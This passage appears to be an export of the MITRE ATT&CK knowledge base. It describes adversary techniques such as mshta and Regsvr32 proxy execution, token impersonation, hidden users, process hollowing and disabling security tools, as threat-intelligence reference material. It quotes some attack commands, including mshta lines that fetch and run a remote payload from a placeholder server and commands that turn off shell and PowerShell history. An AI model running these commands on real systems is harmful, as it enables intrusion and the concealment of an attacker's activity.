utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\nT1480 | Execution Guardrails | Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\nT1134.001 | Token Impersonation/Theft | Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.\nT1205.001 | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\nT1027.012 | LNK Icon Smuggling | Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n\nT1564.002 | Hidden Users | Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.\nT1134.003 | Make and Impersonate Token | Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.\nT1562.003 | Impair Command History Logging | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging).\nT1556.008 | Network Provider DLL | Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)\nT1497.002 | User Activity Based Checks | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \nT1134.004 | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)\nT1055.014 | VDSO Hijacking | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1574.010 | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574.013 | KernelCallbackTable | Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\nT1542.004 | ROMMONkit | Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\nT1218.001 | Compiled HTML File | Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)\nT1070.005 | Network Share Connection Removal | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\nT1562.001 | Disable or Modify Tools | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) \n\nAdversaries may also focus on specific applications such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\nT1601 | Modify System Image | Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.\nT1574 | Hijack Execution Flow | Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\nT1027.005 | Indicator Removal from Tools | Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1055.012 | Process Hollowing | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. \nT1564.009 | Resource Forking | Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)\nT1027 | Obfuscated Files or Information | Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) \nT1556.006 | Multi-Factor Authentication | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \nT1036.001 | Invalid Code Signature | Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.\nT1564.006 | Run Virtual Instance | Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\nT1134.005 | SID-History Injection | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\nT1599 | Network Boundary Bridging | Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.\nT1553 | Subvert Trust Controls | Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) \nT1548.004 | Elevated Execution with Prompt | Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)\nT1218.010 | Regsvr32 | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye 